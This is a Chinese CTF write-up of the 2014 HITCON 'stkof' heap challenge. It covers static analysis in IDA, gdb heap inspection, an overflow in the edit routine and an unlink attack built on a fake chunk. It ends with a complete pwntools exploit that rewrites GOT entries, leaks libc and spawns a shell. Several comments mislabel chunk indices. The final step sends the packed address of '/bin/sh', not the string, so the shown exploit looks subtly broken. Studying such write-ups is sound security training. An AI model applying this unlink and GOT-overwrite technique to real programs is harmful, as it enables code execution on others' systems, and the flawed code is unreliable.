文章目录
例题介绍
这是一个关于unlink利用的pwn题
[例题下载](ctf-challenges/pwn/heap/unlink/2014_hitcon_stkof at master · ctf-wiki/ctf-challenges · GitHub)
例题解法
题目分析
查看题目保护机制
是64位程序,发现存在canary和栈不可执行保护,runpath是我更改了libc后显示的。
查看题目条件
提供了libc,可根据泄露真实地址获得函数偏移地址,没有提供源程序,要将二进制程序拖进ida进行静态分析。
执行程序
发现没有文字提示,经过多次输入程序并没有结束,可猜测程序有个while
循环,并且有输入验证(看似有点废话)。
IDA静态分析
main函数
__int64 __fastcall main(int a1, char **a2, char **a3)
{
int v3; // eax
int v5; // [rsp+Ch] [rbp-74h]
char nptr[104]; // [rsp+10h] [rbp-70h] BYREF
unsigned __int64 v7; // [rsp+78h] [rbp-8h]
v7 = __readfsqword(0x28u);
alarm(0x78u); //程序定时结束
while ( fgets(nptr, 10, stdin) ) //从输入流中获取10大小字节内容存入nptr地址中
{
v3 = atoi(nptr); //将nptr地址中的值转换为int型赋给v3
if ( v3 == 2 )
{
v5 = sub_4009E8();
goto LABEL_14;
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
v5 = sub_400B07();
goto LABEL_14;
}
if ( v3 == 4 )
{
v5 = sub_400BA9();
goto LABEL_14;
}
}
else if ( v3 == 1 )
{
v5 = sub_400936();
goto LABEL_14;
}
v5 = -1;
LABEL_14:
if ( v5 )
puts("FAIL");
else
puts("OK");
fflush(stdout);
}
return 0LL;
}
发现一个while
循环,对用户输入进行不同的函数跳转,结构类似图书管理系统,还发现一个定时函数alarm
这个函数很不利于我们进行程序分析,所以手动修改一下定时时间。
在IDA中的View-A找到call alarm
这条语句
发现上面一行汇编语句是将78h传入寄存器edi中,再对应伪代码中的alarm
函数中的参数,可知只要修改这个寄存器中的值就可以对定时时间进行修改,所以选中78h
再跳转IDA中的二进制视图看到其机器码为78 00 00 00
将程序拖入二进制编辑器(我用的是vscode上Hex Editor这个插件),搜索上述机器码,并修改为FF FF FF FF
,保存并覆盖源程序,再次拖入IDA中,可看到alarm
中的参数已经改变。
sub_400936函数(create_heap)
__int64 sub_400936()
{
__int64 size; // [rsp+0h] [rbp-80h]
char *v2; // [rsp+8h] [rbp-78h]
char s[104]; // [rsp+10h] [rbp-70h] BYREF
unsigned __int64 v4; // [rsp+78h] [rbp-8h]
v4 = __readfsqword(0x28u);
fgets(s, 16, stdin); //获取用户输入
size = atoll(s); //转化为long long型赋值给size
v2 = (char *)malloc(size); //创建一个大小为size的chunk,将data指针赋值给v2
if ( !v2 )
return 0xFFFFFFFFLL;
(&::s)[++dword_602100] = v2; //可以看出是一个数组,下标dword_602100+1上保存着新建chunk的data指针(下标从1开始)
printf("%d\n", (unsigned int)dword_602100); //打印下标
return 0LL;
}
以上代码有个奇怪的变量::s
,其它博客中写的原因是因为IDA反编译的时候出了点问,这个s和其它变量重复了,因为仔细观察还是一个看出::s
其实就是个保存chunk_data指针的数组,所以我们点击::S
右键将它重命名为chunk_addr
,将dword_602100
重命名为index
。
在IDA中点击chunk_addr(就是我们刚刚重命名的那个变量),我们就可以知道chunk_addr的地址
通过分析我们可以知道我们之后创建的chunk都保存在0x602140
这个地址当中,因为程序PIE保护已关闭,我们可以动态调试的时候查看这个地址,看看其中是否保存了我们已创建的chunk的data地址。
sub_4009E8函数(edit_heap)
__int64 sub_4009E8()
{
int i; // eax
unsigned int v2; // [rsp+8h] [rbp-88h]
__int64 n; // [rsp+10h] [rbp-80h]
char *ptr; // [rsp+18h] [rbp-78h]
char s[104]; // [rsp+20h] [rbp-70h] BYREF
unsigned __int64 v6; // [rsp+88h] [rbp-8h]
v6 = __readfsqword(0x28u);
fgets(s, 16, stdin); //获取用户输入
v2 = atol(s);
if ( v2 > 0x100000 ) //判断输入是否越界
return 0xFFFFFFFFLL;
if ( !(&chunk_addr)[v2] ) //判断该索引heap是否存在
return 0xFFFFFFFFLL;
fgets(s, 16, stdin); //获取用户输入
n = atoll(s);
ptr = (&chunk_addr)[v2]; //将chunk_data地址赋值给n
for ( i = fread(ptr, 1uLL, n, stdin); i > 0; i = fread(ptr, 1uLL, n, stdin) )
{
ptr += i; //从上一个用户输入获取用户输入的内容长度,然后通过fread函数从输入缓冲区中获取n个元素,每个元素
n -= i; //大小为1个字节,从chunk_data的起始地址开始输入。
}
if ( n )
return 0xFFFFFFFFLL;
else
return 0LL;
}
由于fread函数是从chun_data的起始地址开始,而且n可以输入的值远大于chunk的大小,所以这里存在一个堆溢出漏洞。
sub_400B07函数(free_heap)
__int64 sub_400B07()
{
unsigned int v1; // [rsp+Ch] [rbp-74h]
char s[104]; // [rsp+10h] [rbp-70h] BYREF
unsigned __int64 v3; // [rsp+78h] [rbp-8h]
v3 = __readfsqword(0x28u);
fgets(s, 16, stdin); //获取用户输入
v1 = atol(s);
if ( v1 > 0x100000 ) //验证索引是否越界
return 0xFFFFFFFFLL;
if ( !(&chunk_addr)[v1] ) //验证chunk是否存在
return 0xFFFFFFFFLL;
free((&chunk_addr)[v1]); //回收该索引下的chunk
(&chunk_addr)[v1] = 0LL; //指针置NULL
}
从上面伪代码我们可以看出来它在回收chunk后将指向该chunk的指针置NULL了,所以就不存在UAF漏洞。
sub_400BA9函数(check_heap_usage)
__int64 sub_400BA9()
{
unsigned int v1; // [rsp+Ch] [rbp-74h]
char s[104]; // [rsp+10h] [rbp-70h] BYREF
unsigned __int64 v3; // [rsp+78h] [rbp-8h]
v3 = __readfsqword(0x28u);
fgets(s, 16, stdin); //获取用户输入
v1 = atol(s);
if ( v1 > 0x100000 ) //验证索引是否越界
return 0xFFFFFFFFLL;
if ( !(&chunk_addr)[v1] ) //验证该索引下的chunk是否存在
return 0xFFFFFFFFLL;
if ( strlen((&chunk_addr)[v1]) <= 3 ) //判断该索引下的chunk是否使用
puts("//TODO");
else
puts("...");
return 0LL;
}
上诉程序很简单,而且与本题没有太大关系,大致看一下就好
gdb动态分析
分析堆中结构
创建三个chunk,然后观察程序堆中的结构。首先对该程序进行gdb指令,再运行,创建三个大小分别为16、32和48字节的chunk,
ctrl+c
进入调试模式,输入heap
指令观察堆中结构。(有些同学可能heap中会出现更多的chunk,这可能是不同版本libc中的一些机制不同导致的,更换libc即可,我用的libc版本是2.23-0ubuntu11.3_amd64
)
我们创建了三个chunk,但程序中包括top chunk在内却有6个,多出来的两个chunk其实是由于程序本身没有进行 setbuf 操作,所以在执行输入输出操作的时候会申请缓冲区,即初次使用fget()函数和printf()函数的时候。根据图中chunk的大小,我们可以得出heap中的结构如下图所示:
我们再看看静态分析sub_400936函数时得到的chunk_addr的地址(0x602140
)中的情况
从上图我们可以明显的看到我们所创建的三个chunk的data地址
从上图的堆中结构可看到我们的chunk1被两个io_chunk所包围,因为我们无法对io_chunk进行任何操作,这让chunk1对于我们来说没有利用的价值,我们只可以对chunk2和chunk3进行利用。***由此可见,在后续的漏洞利用过程中,我们至少要创建三个chunk。***通过之前的静态分析知道了我们能够在编辑chunk的时候制造出堆溢出漏洞,现在我们对索引为2的堆进行编辑48个字节,然后查看下堆中结构
由上图可明显地看出来chunk3的pre_size段和size段都被覆盖了,到目前为止我们手上有堆溢出,而且程序PIE保护关闭,并且知道堆块指针都存放在哪里,所以就可以制造unlink实现对任意地址进行写操作(后面会仔细分析)。
部署堆中环境并构造伪造块
想要利用unlink就必须要有空闲的chunk,但是我们的chunk都是通过malloc
函数申请到的,如此一来就不存在空闲的chunk等着我们区利用,但是我们可以伪造一个让程序以为是空闲的chunk。
但是我们该如何伪造这个空闲的chunk呢?通过上述的静态分析可知,我们可以对chunk进行编辑来修改chunk_data中的内容,所以我们只要在修改的时候在该chunk_data中构造出与空闲chunk一模一样的数据结构,这样就实现了在该chunk_data中构造了一个fake_chunk。但这个fake_chunk实际并不存在,我们只要做到程序在unlink的时候误认为它是一个空闲的chunk即可。
该fake_chunk
的大小至少为:
0x8(prev_size) + 0x8(size) + 0x8(fd) + 0x8(bk) + 0x8(next_prev) + 0x8(next_size) = 0x30
结构图如下所示:
***通过上图可以看出我们在chunk2中构造了一个fake_chunk,但是这种视角不是很好,在后续的漏洞利用我们可以认为在chunk2和chunk3中间还存在一个fake_chunk,***至于next_prev
和next_size
的作用,后续会讲解。
因为我们只能对chunk2和chunk3进行利用,所以我们选择在chunk2_data中构造fake_chunk,这样一来当我们free chunk3的时候,chunk3就会与fake_chunk进行合并,这么一来咱们在申请chunk2的时候就至少要申请0x30大小。
接下来我们就要考虑这个fake_chunk该是怎样个数据结构才能让程序误以为它是个free_chunk:
- prev_size:我们只需让chunk3合并fake_chunk,所以我们将fake_chunk的prev_size设置为
0x0
即可,让程序以为上个chunk(chunk2)正在使用中。 - size:该段记录的是当前chunk的大小,所以设置为
0x20
即可, - fd:配合完成unlink流程(后续讲解)
- bk:配合完成unlink流程(后续讲解)
- next_prev:其实fake_chunk仅仅需要fd和bk完成unlink流程就可以了,后面的next_prev和next_size仅仅为了检查时候用,所以size的大小为
0x20
就行。 - next_size:没什么用,只是为了8字节对齐,可以为任意字符。
为了在free chunk3的时候能够让chunk3与fake_chunk合并,我们也需要对chunk3中的一些字段内容进行覆盖重写:
- prev_size:用逆向的思维,假设我们构造的fake_chunk已经是个free chunk,那该字段就应该保存的是上一个被free的chunk(fake_chunk)的大小(包括prev_size和size字段)。因此,该字段应该覆盖为
0x30
- size:触发 unlink 的条件是,当前块的 inuse 位不为 1(也就是当前块的物理位置的前一个块是 free 的,当然位于 fastbin 里面的块除外,因为 fastbin 在 free 时不会把下一块的 inuse bit 置零,fastbin 在一般情况下面不会发生 unlink )。所以chunk3起码不能属于fastbin,其大小至少为
0x90
绕过unlink检查
***当unlink成功执行的时候,在链表中,目标chunk(被摘取的chunk)的前后两个chunk的bk和fd指针会重新赋值,这样会就实现了一次内存空间的写操作(后面会进行调试演示)。***现在我们就得好好想想这个写操作发生在哪一段内存空间时,才能对我们的漏洞利用有帮助。
想想我们静态分析的时候,我们只有在编辑堆的时候才能有机会对内存中的内容进行修改,而这修改的对象是由chunk_addr这个数组对应下标的指针指向的地址决定的。根据程序分析,因为chunk_addr数组中保存的都是我们创建的chunk的data的地址,所以我们只能对chunk_data中的内容进行修改。
如果我们利用unlink,对chunk_addr数组中的指针进行覆盖重写,让这个指针指向的是chunk_addr的地址,这样我们再编辑堆的时候就能对chunk_addr中的任意下标进行覆盖(因为编辑堆操作存在堆溢出漏洞),结合能够修改chunk_addr中的任意下标内容和程序提供的修改chunk_addr中下标指针指向的地址内容函数,我们就可以实现程序的任意地址修改。
下面重点就开始了,如何利用unlink以及如何绕过unlink检查?
既然我们要利用unlink在chunk_addr数组的这段内存空间实现内存覆盖,所以链接fake_chunk的前后两个chunk得存在于chunk_addr数组当中。但是我们都清楚chunk_addr中保存的都是chunk的data指针,并没有chunk,但是如果我们换一种视角情况就会不一样。
我们返回去看chunk_addr起始地址(0x602140
)的内容
由上图所示,我们可以把框框中的内容看成一个chunk,而这个chunk的fd指针指向的就是fake_chunk的起始地址(chunk2_data的起始地址)。同理我们查看chunk_addr起始地址的上一个内存单元的内容。
如此一来只要我们将fake_chunk的fd段设置为first_chunk的起始地址(0x602138
),bk段设置为third_chunk的起始地址(0x602140
)就构造出了下图所示的链表结构
如此一来就可以绕过unlink检查。
到目前位置我们已经可以完全构造出一个可以绕过unlink检查的fake_chunk,当我们free chunk3的时候,chunk3就会与fake_chunk进行合并,这时unlink就会执行,将fake_chunk从我们构造的链表结构中摘除,摘除后为了使链表结构完整则会执行first_chunk->bk = third_chunk
和third_chunk->fd = first_chunk
这两句覆盖的是同一个内存单元,由于third_chunk->fd = first_chunk
是后执行,最终导致chunk_addr数组中的内存状态如下图所示
这里借用的是他人博客中的图片,所以个别地址和我动态调试的不太一样。但还是可以看的出来chunk2的data指针被覆盖为0x62138
现在当我们再次在程序中对chunk2进行编辑的时候,就会往后覆盖chunk_addr数组中的指针
漏洞利用
整体思路
***通过上诉的动态调试,我们已经可以对chunk_addr数组中的指针进行覆盖,我们将chunk1、chunk2、chunk3的data指针分别覆盖为free_got
、puts_got
和atoi_got
。***我们将chunk1的data指针覆盖为free_got的地址,如果我们再次对chunk1进行编辑,那么就会覆盖free_got中的真实地址,然后我们将free_got中的真实地址覆盖为puts_plt地址,将chunk2的data指针覆盖为puts_got地址,当我们free(chunk2)时,实际上是调用puts打印出puts_got表中的真实地址。有了真实地址我们就可以根据偏移算出system函数的真实地址。将chunk3覆盖为atoi_got地址,用类似方法将真实地址覆盖为system的真实地址,根据静态分析main函数的中可知,当我们再次主界面中输入/bin/sh的地址时,则会执行system(/bin/sh),拿到shell!
最终chunk_addr数组的内存结构图下图所示:
利用流程
- 创建三个大小合适的chunk
- 编辑chunk2,构造fake_chunk
- 删除chunk3,触发unlink
- 编辑chunk2,覆盖chunk_addr数组中的指针
- 编辑chunk1,覆盖free_got中的真实地址为put_plt的地址
- 删除chunk2,泄露puts真实地址
- 根据真实地址计算出偏移地址,根据偏移地址得到system函数和/bin/sh地址
- 编辑chunk2,覆盖atoi_got中的真实地址为system函数地址
- 在主界面输入/bin/sh地址,获得shell!
EXP
from pwn import *
io = process('./stkof')
elf = ELF('./stkof')
libc = ELF('/home/pwn/Public/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
free_got = elf.got['free']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
atoi_got = elf.got['atoi']
head_addr = 0x0602140 #chunk_addr的起始地址
def create(size): #创建chunk脚本
io.sendline(b'1')
io.sendline(str(size))
io.recvuntil(b'OK\n')
def edit(idx, size, content): #编辑chunk脚本
io.sendline(b'2')
io.sendline(str(idx))
io.sendline(str(size))
io.send(content)
io.recvuntil(b'OK\n')
def free(idx): #删除chunk脚本
io.sendline(b'3')
io.sendline(str(idx))
create(0x100) #idx 1
create(0x30) #idx 2
create(0x80) #idx 3
#编辑chunk2构造fake_chunk
payload1 = p64(0)
payload1 += p64(0x20)
payload1 += p64(head_addr-0x8)
payload1 += p64(head_addr)
payload1 += p64(0x20)
payload1 = payload1.ljust(0x30,b'a')
payload1 += p64(0x30)
payload1 += p64(0x90)
edit(2,len(payload1),payload1)
#删除chunk3,触发unlink
free(3)
io.recvuntil(b'OK\n')
#编辑chunk2,覆盖chunk_addr中的指针
payload2 = b'a'*8 + p64(free_got) + p64(puts_got) + p64(atoi_got)
edit(2, len(payload2), payload2)
#编辑chunk1,覆盖free_got中的真实地址为put_plt的地址
payload3 = p64(puts_plt)
edit(0, len(payload3), payload3)
#删除chunk2,泄露puts真实地址,并得到systme函数和/bin/sh的地址
free(1)
puts_addr = u64(io.recvuntil(b'\nOK\n', drop=True).ljust(8, b'\x00'))
libc_base = puts_addr - libc.symbols['puts']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
system_addr = libc_base + libc.symbols['system']
#编辑chunk2,覆盖atoi_got中的真实地址为system函数地址
payload4 = p64(system_addr)
edit(2, len(payload4), payload4)
#在主界面输入/bin/sh地址,获得shell!
io.send(p64(binsh_addr))
io.interactive()
例题总结
此题的重点在于如何构造fake_chunk以及如何触发unlink,需要根据unlink的检查规则逆向推出fake_chunk的结构。